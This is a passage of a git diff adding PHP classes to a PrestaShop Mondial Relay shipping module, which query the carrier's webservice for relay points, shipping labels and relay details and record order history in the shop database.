$relayPointNumList[] = $relayPoint['Num']; + + $MRRelayDetail = new MRRelayDetail(array( + 'relayPointNumList' => $relayPointNumList, + 'id_address_delivery' => $this->_id_address_delivery)); + $MRRelayDetail->init(); + $MRRelayDetail->send(); + return $MRRelayDetail->getResult(); + } + + /* + ** Generate a perman link to view relay detail on their website + */ + private function _addLinkHoursDetail(&$relayPointList) + { + $relayPointNumList = array(); + foreach($relayPointList as $num => $relayPoint) + $relayPointNumList[] = $relayPoint['Num']; + $permaList = MRRelayDetail::getPermaLink($relayPointNumList, $this->_id_address_delivery); + foreach($relayPointList as $num => &$relayPoint) + { + $relayPoint['permaLinkDetail'] = ''; + if (array_key_exists($relayPoint['Num'], $permaList)) + $relayPoint['permaLinkDetail'] = $permaList[$relayPoint['Num']]; + } + return $relayPointList; + } + + /* + * Manage the return value of the webservice, handle the errors or build the + * succeed message + */ + private function _parseResult($client, $result, $params) + { + $errors = array(); + $success = array(); + + if ($client->fault) + $errors[$errorTotal++] = $this->_mondialRelay->l('It seems the request isn\'t valid:'). + $result; + + $result = $result['WSI2_RecherchePointRelaisResult']; + if (($errorNumber = $result['STAT']) != 0) + { + $errors[] = $this->_mondialRelay->l('There is an error number : ').$errorNumber; + $errors[] = $this->_mondialRelay->l('Details : '). + $this->_mondialRelay->getErrorCodeDetail($errorNumber); + } + else + { + unset($result['STAT']); + + // Clean Content + foreach($result as $num => $relayPoint) + { + $totalEmptyFields = 0; + foreach ($relayPoint as $key => &$value) + { + $value = trim($value); + if (empty($value)) + ++$totalEmptyFields; + } + if ($totalEmptyFields == count($relayPoint)) + unset($result[$num]); + } + if (!count($result)) + $errors[] = $this->_mondialRelay->l('MondialRelay can\'t find any relay point near your address. Maybe your address isn\'t properly filled ?'); + else + { + $this->_addLinkHoursDetail($result); + + // Fetch detail info using webservice (not used anymore) + // $this->_generateLinkHoursDetail($result); + // $result = (count($relayDetail['success'])) ? $relayDetail['success'] : $result; + } + $success = $result; + } + $this->_resultList['error'] = $errors; + $this->_resultList['success'] = $success; + } + + /* + * Send one or multiple request to the webservice + */ + public function send() + { + if ($client = new nusoap_client($this->_webserviceURL, true)) + { + $client->soap_defencoding = 'UTF-8'; + $client->decode_utf8 = false; + + $params = $this->_getSimpleParamArray($this->_fields['list']); + $result = $client->call( + 'WSI2_RecherchePointRelais', + $params, + 'http://www.mondialrelay.fr/webservice/', + 'http://www.mondialrelay.fr/webservice/WSI2_RecherchePointRelais'); + + $this->_parseResult($client, $result, $params); + unset($client); + } + else + throw new Exception($this->_mondialRelay->l('The Mondial Relay webservice isn\'t currently reliable')); + } + + /* + * Get the values with associated fields name + */ + public function getFieldsList() + { + return $this->_fieldsList['list']; + } + + /* + * Get the result of one or multiple send request + */ + public function getResult() + { + return $this->_resultList; + } +} diff --git a/modules/mondialrelay2/classes/MRGetTickets.php b/modules/mondialrelay2/classes/MRGetTickets.php new file mode 100755 index 0000000..0f57603 --- /dev/null +++ b/modules/mondialrelay2/classes/MRGetTickets.php @@ -0,0 +1,261 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * Interface + */ +require_once(dirname(__FILE__).'/IMondialRelayWSMethod.php'); + +/* + * Allow to retrieve tickets - 'WSI2_GetEtiquettes' + */ +class MRGetTickets implements IMondialRelayWSMethod +{ + private $_fields = array( + 'list' => array( + 'Enseigne' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{2}[0-9A-Z ]{6}$#'), + 'Expeditions' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9]{8}(;[0-9]{8})*$#'), + 'Langue' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Security' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{32}$#'))); + + private $_detailedExpeditionList = array(); + private $_webServiceKey = ''; + private $_mondialrelay = NULL; + + private $_resultList = array( + 'error' => array(), + 'success' => array()); + + private $_webserviceURL = 'http://www.mondialrelay.fr/webservice/Web_Services.asmx?WSDL'; + + public function __construct($params, $object) + { + $this->_mondialrelay = $object; + $this->_detailedExpeditionList = $params['detailedExpeditionList']; + $this->_webServiceKey = $this->_mondialrelay->account_shop['MR_KEY_WEBSERVICE']; + } + + public function __destruct() + { + unset($this->_mondialrelay); + } + + public function init() + { + $this->_fields['list']['Enseigne']['value'] = $this->_mondialrelay->account_shop['MR_ENSEIGNE_WEBSERVICE']; + $this->_fields['list']['Langue']['value'] = $this->_mondialrelay->account_shop['MR_LANGUAGE']; + + foreach ($this->_detailedExpeditionList as $detailedExpedition) + { + // Storage temporary + $base = $this->_fields; + $tmp = &$base['list']; + + $tmp['Expeditions']['value'] = $detailedExpedition['expeditionNumber']; + $this->_fieldsList[] = $base; + } + $this->_generateMD5SecurityKey(); + } + + /* + * Generate the MD5 key for each param list + */ + private function _generateMD5SecurityKey() + { + // RootCase is the array case where the main information are stored + // it's an array containing id_mr_selected and an array with the necessary fields + foreach($this->_fieldsList as &$rootCase) + { + $concatenationValue = ''; + foreach($rootCase['list'] as $paramName => &$valueDetailed) + if ($paramName != 'Texte' && $paramName != 'Security') + { + $valueDetailed['value'] = strtoupper($valueDetailed['value']); + if (preg_match($valueDetailed['regexValidation'], $valueDetailed['value'], $matches)) + $concatenationValue .= $valueDetailed['value']; + else if ((!strlen($valueDetailed['value']) && $valueDetailed['required']) || strlen($valueDetailed['value'])) + { + $error = $this->_mondialrelay->l('This key').' ['.$paramName.'] '.$this->_mondialrelay->l('hasn\'t a valide value format').' : '.$valueDetailed['value']; + $id_order = $this->_getOrderIdWithExpeditionNumber($rootCase['list']['Expeditions']['value']); + $this->_resultList['error'][$id_order][] = $error; + } + } + $concatenationValue .= $this->_webServiceKey; + $rootCase['list']['Security']['value' ] = strtoupper(md5($concatenationValue)); + } + } + + /* + * Get the values with associated fields name + * @fields : array containing multiple values information + */ + private function _getSimpleParamArray($fields) + { + $params = array(); + + foreach($fields as $keyName => $valueDetailed) + $params[$keyName] = $valueDetailed['value']; + return $params; + } + + /* + * Update the history tables + */ + private function _updateTable($id_order, $expeditionNumber, $URLA4, $URLA5, &$success) + { + $query = ' + SELECT id FROM `'._DB_PREFIX_.'mr_history` + WHERE `order`='.(int)$id_order; + + $row = Db::getInstance()->getRow($query); + if ($row) + { + $query = ' + UPDATE `'._DB_PREFIX_.'mr_history` + SET + `exp` = \''.(int)$expeditionNumber.'\', + `url_a4` = \''.pSQL((string)$URLA4).'\', + `url_a5` = \''.pSQL((string)$URLA5).'\' + WHERE `order` = '.(int)$id_order; + } + else + { + $query = ' + INSERT INTO '._DB_PREFIX_.'mr_history + (`order`, `exp`, `url_a4`, `url_a5`) + VALUES ( + '.(int)$id_order.', + '.(int)$expeditionNumber.', + \''.pSQL((string)$URLA4).'\', + \''.pSQL((string)$URLA5).'\')'; + } + Db::getInstance()->execute($query); + $success['id_mr_history'] = isset($row['id']) ? $row['id'] : Db::getInstance()->Insert_ID(); + } + + /* + * Manage the return value of the webservice, handle the errors or build the + * succeed message + */ + private function _parseResult($client, $result, $params) + { + $errors = array(); + $success = array(); + + $id_order = $this->_getOrderIdWithExpeditionNumber($params['Expeditions']); + if ($client->fault) + $errors[$errorTotal++] = $this->_mondialrelay->l('It seems the request isn\'t valid:'). + $result; + + $result = $result['WSI2_GetEtiquettesResult']; + if (($errorNumber = $result['STAT']) != 0) + { + $errors[] = $this->_mondialrelay->l('There is an error number : ').$errorNumber; + $errors[] = $this->_mondialrelay->l('Details : '). + $this->_mondialrelay->getErrorCodeDetail($errorNumber); + } + else + { + $baseURL = 'http://www.mondialrelay.fr'; + $URLPDF_A4 = $baseURL.$result['URL_PDF_A4']; + $URLPDF_A5 = $baseURL.$result['URL_PDF_A5']; + + $success['id_order'] = $id_order; + $success['expeditionNumber'] = $params['Expeditions']; + $success['URLPDF_A4'] = $URLPDF_A4; + $success['URLPDF_A5'] = $URLPDF_A5; + $this->_updateTable($id_order, $params['Expeditions'], $URLPDF_A4, $URLPDF_A5, $success); + } + $this->_resultList['error'][$id_order] = $errors; + $this->_resultList['success'][$id_order] = $success; + } + + /* + * Get the order id using the expedition number + */ + private function _getOrderIdWithExpeditionNumber($expeditionNumber) + { + foreach($this->_detailedExpeditionList as $detailedExpedition) + if ($detailedExpedition['expeditionNumber'] == $expeditionNumber) + return $detailedExpedition['id_order']; + return 0; + } + + /* + * Send one or multiple request to the webservice + */ + public function send() + { + if ($client = new nusoap_client($this->_webserviceURL, true)) + { + $client->soap_defencoding = 'UTF-8'; + $client->decode_utf8 = false; + + foreach($this->_fieldsList as $rootCase) + { + $params = $this->_getSimpleParamArray($rootCase['list']); + $result = $client->call( + 'WSI2_GetEtiquettes', + $params, + 'http://www.mondialrelay.fr/webservice/', + 'http://www.mondialrelay.fr/webservice/WSI2_GetEtiquettes'); + + $this->_parseResult($client, $result, $params); + } + unset($client); + } + else + throw new Exception($this->_mondialrelay->l('The Mondial Relay webservice isn\'t currently reliable')); + } + + /* + * Get the values with associated fields name + */ + public function getFieldsList() + { + return $this->_fieldsList['list']; + } + + /* + * Get the result of one or multiple send request + */ + public function getResult() + { + return $this->_resultList; + } +} \ No newline at end of file diff --git a/modules/mondialrelay2/classes/MRManagement.php b/modules/mondialrelay2/classes/MRManagement.php new file mode 100755 index 0000000..ed9605c --- /dev/null +++ b/modules/mondialrelay2/classes/MRManagement.php @@ -0,0 +1,169 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +require_once(realpath(dirname(__FILE__).'/../mondialrelay.php')); + +class MRManagement extends MondialRelay +{ + private $_params = array(); + + private $_resultList = array( + 'error' => array(), + 'success' => array()); + + public function __construct($params) + { + $this->_params = $params; + + parent::__construct(); + } + + public function __destruct() + { + + } + + /* + ** This method fill the database with the selected carrier + */ + public function addSelectedCarrierToDB() + { + $query = 'SELECT `id_mr_selected` + FROM `' . _DB_PREFIX_ . 'mr_selected` + WHERE `id_cart` = '.(int)$this->_params['id_cart']; + + // Not exist and needed for database + unset($this->_params['relayPointInfo']['permaLinkDetail']); + + // Update if Exist else add a new entry + if (Db::getInstance()->getRow($query)) + { + $query = 'UPDATE `'._DB_PREFIX_.'mr_selected` + SET `id_method` = '.(int)$this->_params['id_mr_method'].', '; + if (is_array($this->_params['relayPointInfo'])) + foreach($this->_params['relayPointInfo'] as $nameKey => $value) + $query .= '`MR_Selected_'.MRTools::bqSQL($nameKey).'` = "'.pSQL($value).'", '; + else // Clean the existing relay point data + $query .= ' + MR_Selected_Num = NULL, + MR_Selected_LgAdr1 = NULL, + MR_Selected_LgAdr2 = NULL, + MR_Selected_LgAdr3 = NULL, + MR_Selected_LgAdr4 = NULL, + MR_Selected_CP = NULL, + MR_Selected_Pays = NULL, + MR_Selected_Ville = NULL, '; + $query = rtrim($query, ', ').' WHERE `id_cart` = '.(int)$this->_params['id_cart']; + } + else + { + $query = 'INSERT INTO `'._DB_PREFIX_.'mr_selected` + (`id_customer`, `id_method`, `id_cart`, '; + if (is_array($this->_params['relayPointInfo'])) + foreach($this->_params['relayPointInfo'] as $nameKey => $value) + $query .= '`MR_Selected_'.MRTools::bqSQL($nameKey).'`, '; + $query = rtrim($query, ', ').') VALUES ( + '.(int)$this->_params['id_customer'].', + '.(int)$this->_params['id_mr_method'].', + '.(int)$this->_params['id_cart'].', '; + if (is_array($this->_params['relayPointInfo'])) + foreach($this->_params['relayPointInfo'] as $nameKey => $value) + $query .= '"'.pSQL($value).'", '; + $query = rtrim($query, ', ').')'; + } + Db::getInstance()->execute($query); + } + + public function uninstallDetail() + { + $html = ''; + + switch($this->_params['action']) + { + case 'showFancy': + $html .= ' +
        +

        '.$this->l('Uninstalling Mondial Relay').'

        +
        + '.$this->l('You\'re about to uninstall the module, do you want to remove the database').' ? +

        + +
        + +
        + +
        +

        +
        +
        + '; + $this->_resultList['html'] = $html; + break; + case 'backupAndUninstall': + + break; + default: + } + return $this->_resultList; + } + + public function DeleteHistory() + { + $success = array(); + $error = array(); + + if (is_array($this->_params['historyIdList']) && count($this->_params['historyIdList'])) + { + $query = ' + DELETE FROM `'._DB_PREFIX_.'mr_history` + WHERE id IN('; + foreach($this->_params['historyIdList'] as $id) + $query .= (int)$id.', '; + $query = trim($query, ', ').')'; + + $success['deletedListId'] = $this->_params['historyIdList']; + $totalDeleted = Db::getInstance()->execute($query); + if (count($success['deletedListId']) != $totalDeleted) + { + $error[] = $this->l('Some items can\'t be removed, please try to remove it again'); + foreach($success['deletedListId'] as $id) + { + $query = ' + SELECT id FROM `'._DB_PREFIX_.'mr_history` + WHERE id='.(int)$id; + if (Db::getInstance()->getRow($query) && + ($key = array_search($id, $success['deletedListId'])) !== FALSE) + unset($success['deletedListId'][$key]); + } + } + $this->_resultList['success'] = $success; + $this->_resultList['other']['error'] = $error; + } + else + throw new Exception($this->l('Please select at least one history element')); + return $this->_resultList; + } +} \ No newline at end of file diff --git a/modules/mondialrelay2/classes/MRRelayDetail.php b/modules/mondialrelay2/classes/MRRelayDetail.php new file mode 100755 index 0000000..9b3fe38 --- /dev/null +++ b/modules/mondialrelay2/classes/MRRelayDetail.php @@ -0,0 +1,275 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* + * Interface + */ +require_once(dirname(__FILE__).'/IMondialRelayWSMethod.php'); + +/* + * Allow to retrieve relay point details - 'WSI2_DetailPointRelais' + */ +class MRRelayDetail implements IMondialRelayWSMethod +{ + private $_fields = array( + 'list' => array( + 'Enseigne' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{2}[0-9A-Z ]{6}$#'), + 'Num' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9]{6}$#'), + 'Pays' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[A-Z]{2}$#'), + 'Security' => array( + 'required' => true, + 'value' => '', + 'regexValidation' => '#^[0-9A-Z]{32}$#'))); + + private $_relayPointNumList = array(); + private $_id_address_delivery = 0; + private $_webServiceKey = ''; + private $_mondialrelay = NULL; + private $_markCode = ''; + + private $_resultList = array( + 'error' => array(), + 'success' => array()); + + private $_webserviceURL = 'http://www.mondialrelay.fr/webservice/Web_Services.asmx?WSDL'; + + public function __construct($params, $object) + { + $this->_mondialrelay = $object; + + $this->_relayPointNumList = $params['relayPointNumList']; + $this->_id_address_delivery = (int)($params['id_address_delivery']); + $this->_webServiceKey = $this->_mondialRelay->account_shop['MR_KEY_WEBSERVICE']; + $this->_markCode = $this->_mondialRelay->account_shop['MR_CODE_MARQUE']; + } + + public function __destruct() + { + unset($this->_mondialrelay); + } + + public function init() + { + $address = new Address($this->_id_address_delivery); + + if (!$address) + throw new Exception($this->_mondialrelay->l('Customer address can\'t be found')); + + $this->_fields['list']['Enseigne']['value'] = $this->_mondialRelay->account_shop['MR_ENSEIGNE_WEBSERVICE']; + $this->_fields['list']['Pays']['value'] = Country::getIsoById($address->id_country); + + foreach ($this->_relayPointNumList as $num) + { + // Storage temporary + $base = $this->_fields; + $tmp = &$base['list']; + + $tmp['Num']['value'] = $num; + $this->_fieldsList[] = $base; + } + $this->_generateMD5SecurityKey(); + unset($address); + } + + /* + * Generate the MD5 key for each param list + */ + private function _generateMD5SecurityKey() + { + // RootCase is the array case where the main information are stored + // it's an array containing id_mr_selected and an array with the necessary fields + foreach($this->_fieldsList as &$rootCase) + { + $concatenationValue = ''; + foreach($rootCase['list'] as $paramName => &$valueDetailed) + if ($paramName != 'Texte' && $paramName != 'Security') + { + // Mac server make an empty string instead of a cleaned string + // TODO : test on windows and linux server + $cleanedString = MRTools::removeAccents($valueDetailed['value']); + $valueDetailed['value'] = !empty($cleanedString) ? strtoupper($cleanedString) : strtoupper($valueDetailed['value']); + + // Call a pointer function if exist to do different test + if (isset($valueDetailed['methodValidation']) && + method_exists('MRTools', $valueDetailed['methodValidation']) && + isset($valueDetailed['params']) && + MRTools::$valueDetailed['methodValidation']($valueDetailed['value'], $valueDetailed['params'])) + $concatenationValue .= $valueDetailed['value']; + // Use simple Regex test given by MondialRelay + else if (isset($valueDetailed['regexValidation']) && + preg_match($valueDetailed['regexValidation'], $valueDetailed['value'], $matches)) + $concatenationValue .= $valueDetailed['value']; + // If the key is required, we set an error, else it's skipped + else if ((!strlen($valueDetailed['value']) && $valueDetailed['required']) || strlen($valueDetailed['value'])) + { + if (empty($valueDetailed['value'])) + $error = $this->_mondialrelay->l('This key').' ['.$paramName.'] '.$this->_mondialrelay->l('is empty and need to be filled'); + else + $error = 'This key ['.$paramName.'] hasn\'t a valid value format : '.$valueDetailed['value']; + $this->_resultList['error'][$rootCase['list']['Num']['value']] = $error; + } + } + $concatenationValue .= $this->_webServiceKey; + $rootCase['list']['Security']['value' ] = strtoupper(md5($concatenationValue)); + } + } + + /* + * Get the values with associated fields name + * @fields : array containing multiple values information + */ + private function _getSimpleParamArray($fields) + { + $params = array(); + + foreach($fields as $keyName => $valueDetailed) + $params[$keyName] = $valueDetailed['value']; + return $params; + } + + /* + * Manage the return value of the webservice, handle the errors or build the + * succeed message + */ + private function _parseResult($client, $result, $params) + { + $errors = array(); + + if ($client->fault) + $errors[$errorTotal++] = $this->_mondialrelay->l('It seems the request isn\'t valid:'). + $result; + $result = $result['WSI2_DetailPointRelaisResult']; + if (($errorNumber = $result['STAT']) != 0) + { + $errors[] = $this->_mondialrelay->l('There is an error number : ').$errorNumber; + $errors[] = $this->_mondialrelay->l('Details : '). + $this->_mondialrelay->getErrorCodeDetail($errorNumber); + } + else + { + $HDayList = array( + 'Horaires_Lundi' => $this->_mondialrelay->l('Monday'), + 'Horaires_Mardi' => $this->_mondialrelay->l('Tuesday'), + 'Horaires_Mercredi' => $this->_mondialrelay->l('Wednesday'), + 'Horaires_Jeudi' => $this->_mondialrelay->l('Thursday'), + 'Horaires_Vendredi' => $this->_mondialrelay->l('Friday'), + 'Horaires_Samedi' => $this->_mondialrelay->l('Saturday'), + 'Horaires_Dimanche' => $this->_mondialrelay->l('Sunday')); + + $orderedDate = array(); + // Format hour properly + $priority = 0; + foreach($HDayList as $day => $tradDayName) + { + foreach($result[$day]['string'] as $num => &$value) + if ($value == '0000') + $value = ''; + else + $value = implode('h', str_split($value, 2)); + $orderedDate[$priority++] = array('name' => $tradDayName, 'list' => $result[$day]); + unset($result[$day]); + } + $result['orderedDate'] = $orderedDate; + $this->_resultList['success'][$result['Num']] = $result; + } + $this->_resultList['error'][] = $errors; + } + + /* + * Send one or multiple request to the webservice + */ + public function send() + { + if ($client = new nusoap_client($this->_webserviceURL, true)) + { + $client->soap_defencoding = 'UTF-8'; + $client->decode_utf8 = false; + + foreach($this->_fieldsList as $rootCase) + { + $params = $this->_getSimpleParamArray($rootCase['list']); + $result = $client->call( + 'WSI2_DetailPointRelais', + $params, + 'http://www.mondialrelay.fr/webservice/', + 'http://www.mondialrelay.fr/webservice/WSI2_GetEtiquettes'); + + $this->_parseResult($client, $result, $params); + } + unset($client); + } + else + throw new Exception($this->_mondialrelay->l('The Mondial Relay webservice isn\'t currently reliable')); + } + + /* + ** Generate a list of perma link + */ + static public function getPermaLink($relayList, $id_address_delivery) + { + if (!($address = new Address($id_address_delivery))) + return array(); + + $mondialrelay = new MondialRelay(); + + $list = array(); + $iso = strtoupper(Country::getIsoById($address->id_country)); + $ens = $mondialrelay->account_shop['MR_ENSEIGNE_WEBSERVICE'].$mondialrelay->account_shop['MR_CODE_MARQUE']; + $url = 'http://www.mondialrelay.com/public/permanent/details_relais.aspx?ens='.$ens; + foreach($relayList as $relayNum) + { + $crc = strtoupper(MD5('<'.strtoupper($ens).'>'.$relayNum.$iso.'<'.$mondialrelay->account_shop['MR_KEY_WEBSERVICE'].'>')); + $list[$relayNum] = $url.'&num='.$relayNum.'&pays='.$iso.'&crc='.$crc; + } + unset($address, $mondialrelay); + return $list; + } + + /* + * Get the values with associated fields name + */ + public function getFieldsList() + { + return $this->_fieldsList['list']; + } + + /* + * Get the result of one or multiple send request + */ + public function getResult() + { + return $this->_resultList; + } +} \ No newline at end of file diff --git a/modules/mondialrelay2/classes/MRTools.php b/modules/mondialrelay2/classes/MRTools.php new file mode 100755 index 0000000..d60e5b9 --- /dev/null +++ b/modules/mondialrelay2/classes/MRTools.php @@ -0,0 +1,268 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/* +** Some tools using used in the module +*/ +class MRTools +{ + const REGEX_CLEAN_ADDR = '/[^a-zA-Z0-9-\s\'\!\,\|\(\)\.\*\&\#\/\:]/'; + + const REGEX_CLEAN_PHONE = '/[^0-9+\(\)]*/'; + + /** + * Check if a string could be UTF8 one + * + * @static + * @param $str + * @return bool + */ + public static function seemsUTF8($str) + { + $length = strlen($str); + + for($i = 0; $i < $length; $i++) + { + $c = ord($str[$i]); + if ($c < 0x80) + $n = 0; # 0bbbbbbb + else if (($c & 0xE0) == 0xC0) + $n = 1; # 110bbbbb + else if (($c & 0xF0) == 0xE0) + $n=2; # 1110bbbb + else if (($c & 0xF8) == 0xF0) + $n = 3; # 11110bbb + else if (($c & 0xFC) == 0xF8) + $n = 4; # 111110bb + else if (($c & 0xFE) == 0xFC) + $n=5; # 1111110b + else + return false; # Does not match any model + for ($j = 0; $j < $n; $j++) + { + # n bytes matching 10bbbbbb follow ? + if ((++$i == $length) || ((ord($str[$i]) & 0xC0) != 0x80)) + return false; + } + } + return true; + } + + /** + * Converts all accent characters to ASCII characters. + * + * If there are no accent characters, then the string given is just returned. + * + * @param string $string Text that might have accent characters + * @return string Filtered string with replaced "nice" characters. + */ + public static function removeAccents($string) + { + if (!preg_match('/[\x80-\xff]/', $string)) + return $string; + + if (MRTools::seemsUTF8($string)) + { + $chars = array( + // Decompositions for Latin-1 Supplement + chr(195).chr(128) => 'A', chr(195).chr(129) => 'A', + chr(195).chr(130) => 'A', chr(195).chr(131) => 'A', + chr(195).chr(132) => 'A', chr(195).chr(133) => 'A', + chr(195).chr(135) => 'C', chr(195).chr(136) => 'E', + chr(195).chr(137) => 'E', chr(195).chr(138) => 'E', + chr(195).chr(139) => 'E', chr(195).chr(140) => 'I', + chr(195).chr(141) => 'I', chr(195).chr(142) => 'I', + chr(195).chr(143) => 'I', chr(195).chr(145) => 'N', + chr(195).chr(146) => 'O', chr(195).chr(147) => 'O', + chr(195).chr(148) => 'O', chr(195).chr(149) => 'O', + chr(195).chr(150) => 'O', chr(195).chr(153) => 'U', + chr(195).chr(154) => 'U', chr(195).chr(155) => 'U', + chr(195).chr(156) => 'U', chr(195).chr(157) => 'Y', + chr(195).chr(159) => 's', chr(195).chr(160) => 'a', + chr(195).chr(161) => 'a', chr(195).chr(162) => 'a', + chr(195).chr(163) => 'a', chr(195).chr(164) => 'a', + chr(195).chr(165) => 'a', chr(195).chr(167) => 'c', + chr(195).chr(168) => 'e', chr(195).chr(169) => 'e', + chr(195).chr(170) => 'e', chr(195).chr(171) => 'e', + chr(195).chr(172) => 'i', chr(195).chr(173) => 'i', + chr(195).chr(174) => 'i', chr(195).chr(175) => 'i', + chr(195).chr(177) => 'n', chr(195).chr(178) => 'o', + chr(195).chr(179) => 'o', chr(195).chr(180) => 'o', + chr(195).chr(181) => 'o', chr(195).chr(182) => 'o', + chr(195).chr(182) => 'o', chr(195).chr(185) => 'u', + chr(195).chr(186) => 'u', chr(195).chr(187) => 'u', + chr(195).chr(188) => 'u', chr(195).chr(189) => 'y', + chr(195).chr(191) => 'y', + // Decompositions for Latin Extended-A + chr(196).chr(128) => 'A', chr(196).chr(129) => 'a', + chr(196).chr(130) => 'A', chr(196).chr(131) => 'a', + chr(196).chr(132) => 'A', chr(196).chr(133) => 'a', + chr(196).chr(134) => 'C', chr(196).chr(135) => 'c', + chr(196).chr(136) => 'C', chr(196).chr(137) => 'c', + chr(196).chr(138) => 'C', chr(196).chr(139) => 'c', + chr(196).chr(140) => 'C', chr(196).chr(141) => 'c', + chr(196).chr(142) => 'D', chr(196).chr(143) => 'd', + chr(196).chr(144) => 'D', chr(196).chr(145) => 'd', + chr(196).chr(146) => 'E', chr(196).chr(147) => 'e', + chr(196).chr(148) => 'E', chr(196).chr(149) => 'e', + chr(196).chr(150) => 'E', chr(196).chr(151) => 'e', + chr(196).chr(152) => 'E', chr(196).chr(153) => 'e', + chr(196).chr(154) => 'E', chr(196).chr(155) => 'e', + chr(196).chr(156) => 'G', chr(196).chr(157) => 'g', + chr(196).chr(158) => 'G', chr(196).chr(159) => 'g', + chr(196).chr(160) => 'G', chr(196).chr(161) => 'g', + chr(196).chr(162) => 'G', chr(196).chr(163) => 'g', + chr(196).chr(164) => 'H', chr(196).chr(165) => 'h', + chr(196).chr(166) => 'H', chr(196).chr(167) => 'h', + chr(196).chr(168) => 'I', chr(196).chr(169) => 'i', + chr(196).chr(170) => 'I', chr(196).chr(171) => 'i', + chr(196).chr(172) => 'I', chr(196).chr(173) => 'i', + chr(196).chr(174) => 'I', chr(196).chr(175) => 'i', + chr(196).chr(176) => 'I', chr(196).chr(177) => 'i', + chr(196).chr(178) => 'IJ',chr(196).chr(179) => 'ij', + chr(196).chr(180) => 'J', chr(196).chr(181) => 'j', + chr(196).chr(182) => 'K', chr(196).chr(183) => 'k', + chr(196).chr(184) => 'k', chr(196).chr(185) => 'L', + chr(196).chr(186) => 'l', chr(196).chr(187) => 'L', + chr(196).chr(188) => 'l', chr(196).chr(189) => 'L', + chr(196).chr(190) => 'l', chr(196).chr(191) => 'L', + chr(197).chr(128) => 'l', chr(197).chr(129) => 'L', + chr(197).chr(130) => 'l', chr(197).chr(131) => 'N', + chr(197).chr(132) => 'n', chr(197).chr(133) => 'N', + chr(197).chr(134) => 'n', chr(197).chr(135) => 'N', + chr(197).chr(136) => 'n', chr(197).chr(137) => 'N', + chr(197).chr(138) => 'n', chr(197).chr(139) => 'N', + chr(197).chr(140) => 'O', chr(197).chr(141) => 'o', + chr(197).chr(142) => 'O', chr(197).chr(143) => 'o', + chr(197).chr(144) => 'O', chr(197).chr(145) => 'o', + chr(197).chr(146) => 'OE',chr(197).chr(147) => 'oe', + chr(197).chr(148) => 'R',chr(197).chr(149) => 'r', + chr(197).chr(150) => 'R',chr(197).chr(151) => 'r', + chr(197).chr(152) => 'R',chr(197).chr(153) => 'r', + chr(197).chr(154) => 'S',chr(197).chr(155) => 's', + chr(197).chr(156) => 'S',chr(197).chr(157) => 's', + chr(197).chr(158) => 'S',chr(197).chr(159) => 's', + chr(197).chr(160) => 'S', chr(197).chr(161) => 's', + chr(197).chr(162) => 'T', chr(197).chr(163) => 't', + chr(197).chr(164) => 'T', chr(197).chr(165) => 't', + chr(197).chr(166) => 'T', chr(197).chr(167) => 't', + chr(197).chr(168) => 'U', chr(197).chr(169) => 'u', + chr(197).chr(170) => 'U', chr(197).chr(171) => 'u', + chr(197).chr(172) => 'U', chr(197).chr(173) => 'u', + chr(197).chr(174) => 'U', chr(197).chr(175) => 'u', + chr(197).chr(176) => 'U', chr(197).chr(177) => 'u', + chr(197).chr(178) => 'U', chr(197).chr(179) => 'u', + chr(197).chr(180) => 'W', chr(197).chr(181) => 'w', + chr(197).chr(182) => 'Y', chr(197).chr(183) => 'y', + chr(197).chr(184) => 'Y', chr(197).chr(185) => 'Z', + chr(197).chr(186) => 'z', chr(197).chr(187) => 'Z', + chr(197).chr(188) => 'z', chr(197).chr(189) => 'Z', + chr(197).chr(190) => 'z', chr(197).chr(191) => 's', + // Euro Sign + chr(226).chr(130).chr(172) => 'E', + // GBP (Pound) Sign + chr(194).chr(163) => ''); + + $string = strtr($string, $chars); + } + else + { + // Assume ISO-8859-1 if not UTF-8 + $chars['in'] = chr(128).chr(131).chr(138).chr(142).chr(154).chr(158) + .chr(159).chr(162).chr(165).chr(181).chr(192).chr(193).chr(194) + .chr(195).chr(196).chr(197).chr(199).chr(200).chr(201).chr(202) + .chr(203).chr(204).chr(205).chr(206).chr(207).chr(209).chr(210) + .chr(211).chr(212).chr(213).chr(214).chr(216).chr(217).chr(218) + .chr(219).chr(220).chr(221).chr(224).chr(225).chr(226).chr(227) + .chr(228).chr(229).chr(231).chr(232).chr(233).chr(234).chr(235) + .chr(236).chr(237).chr(238).chr(239).chr(241).chr(242).chr(243) + .chr(244).chr(245).chr(246).chr(248).chr(249).chr(250).chr(251) + .chr(252).chr(253).chr(255); + + $chars['out'] = "EfSZszYcYuAAAAAACEEEEIIIINOOOOOOUUUUYaaaaaaceeeeiiiinoooooouuuuyy"; + + $string = strtr($string, $chars['in'], $chars['out']); + $double_chars['in'] = array(chr(140), chr(156), chr(198), chr(208), chr(222), chr(223), chr(230), chr(240), chr(254)); + $double_chars['out'] = array('OE', 'oe', 'AE', 'DH', 'TH', 'ss', 'ae', 'dh', 'th'); + $string = str_replace($double_chars['in'], $double_chars['out'], $string); + } + return $string; + } + + // Add for 1.3 compatibility and avoid duplicate code + public static function jsonEncode($result) + { + return (method_exists('Tools', 'jsonEncode')) ? + Tools::jsonEncode($result) : json_encode($result); + } + + /* + ** Fix security and compatibility for PS < 1.4.5 + */ + static function bqSQL($string) + { + return str_replace('`', '\`', pSQL($string)); + } + + /* + ** Check zip code by country + */ + static public function checkZipcodeByCountry($zipcode, $params) + { + $id_country = $params['id_country']; + + $zipcodeFormat = Db::getInstance()->getValue(' + SELECT 